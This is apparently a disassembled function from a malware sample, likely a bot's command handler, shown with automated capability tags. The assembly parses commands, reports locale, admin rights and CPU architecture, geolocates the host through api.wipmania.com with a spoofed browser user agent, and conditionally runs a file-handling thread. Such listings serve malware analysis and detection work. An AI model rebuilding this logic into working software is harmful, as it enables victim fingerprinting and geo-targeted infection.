Function at 0x404570
Capabilities:
Create http request
Get geographical location
Read data from internet
Receive data
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x407fa4]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 1
jge 0x404596
mov eax, 1
jmp 0x404a39
push 0x4097c0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4045d3
call fcn.00403d40
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x14], 2
jge 0x4045e8
mov eax, 1
jmp 0x404a39
push 0x4097b8
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404729
push 0x14
push 0
lea ecx, [ebp - 0x18]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x407fa8
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40466c
push 0x14
push 0
lea edx, [ebp - 0x2c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
lea eax, [ebp - 0x2c]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea ecx, [ebp - 0x2c]
push ecx
push 0x407fac
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x407fb0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4046b8
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4046a6
push str.ADMIN
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x4046b8
push 0x407fbc
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x407fc4
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404706
call fcn.00403e90
movzx edx, al
test edx, edx
je 0x4046f4
push str.X64
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x404706
push str.X86
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0
lea edx, [ebp - 0x18]
push edx
push 3
mov eax, dword [ebp + 8]
push eax
call fcn.00404190
add esp, 0x10
mov eax, 1
jmp 0x404a39
push 0x4097bc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x40476e
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
push 3
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404190
add esp, 0x10
mov eax, 1
jmp 0x404a39
cmp dword [ebp + 0x14], 3
jge 0x404783
mov eax, 1
jmp 0x404a39
push 0x4097b4
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x404a07
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call fcn.00403940
add esp, 4
test eax, eax
je 0x4049fe
push 2
push 0x28
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00403aa0
add esp, 0x10
mov dword [ebp - 0x30], 0
push 0x407fd8
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x4048e4
push 0x407fdc
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x4048e4
push 0xc8
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:22.0__Gecko_20100101_Firefox_22.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x4048da
push 0
push 0
push 0
push 0
push str.http:__api.wipmania.com_
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x4048d0
lea edx, [ebp - 0x34]
push edx
push 0xc7
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x3e
lea edx, [ebp - 0x108]
push edx
call fcn.00404550
add esp, 8
add eax, 1
mov dword [ebp - 0x3c], eax
je 0x4048d0
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4048d0
mov dword [ebp - 0x30], 1
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x408048
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x404926
push 0x40804c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x404926
cmp dword [ebp - 0x30], 1
jne 0x4049fe
push 0x100
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 8]
push eax
push 0x408050
push 0xff
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0x408054
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 4]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4049c9
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4 + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x214], eax
push 0x408058
mov edx, dword [ebp - 0x214]
push edx
call sub.MSVCRT.dll_strtok
add esp, 8
push 0x409788
mov eax, dword [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
je 0x4049c9
mov dword [ebp - 0x20c], 1
push 1
call fcn.00404010
add esp, 4
mov dword [ebp - 0x210], eax
push 0
lea ecx, [ebp - 0x210]
push ecx
push 0x401500
call fcn.004040b0
add esp, 0xc
mov edx, dword [ebp - 0x210]
imul edx, edx, 0xc
mov dword [edx + 0x409988], eax
mov eax, 1
jmp 0x404a39
cmp dword [ebp + 0x14], 4
jge 0x404a16
mov eax, 1
jmp 0x404a39
cmp dword [ebp + 0x14], 5
jge 0x404a25
mov eax, 1
jmp 0x404a39
cmp dword [ebp + 0x14], 6
jge 0x404a34
mov eax, 1
jmp 0x404a39
mov eax, 1
mov esp, ebp
pop ebp
ret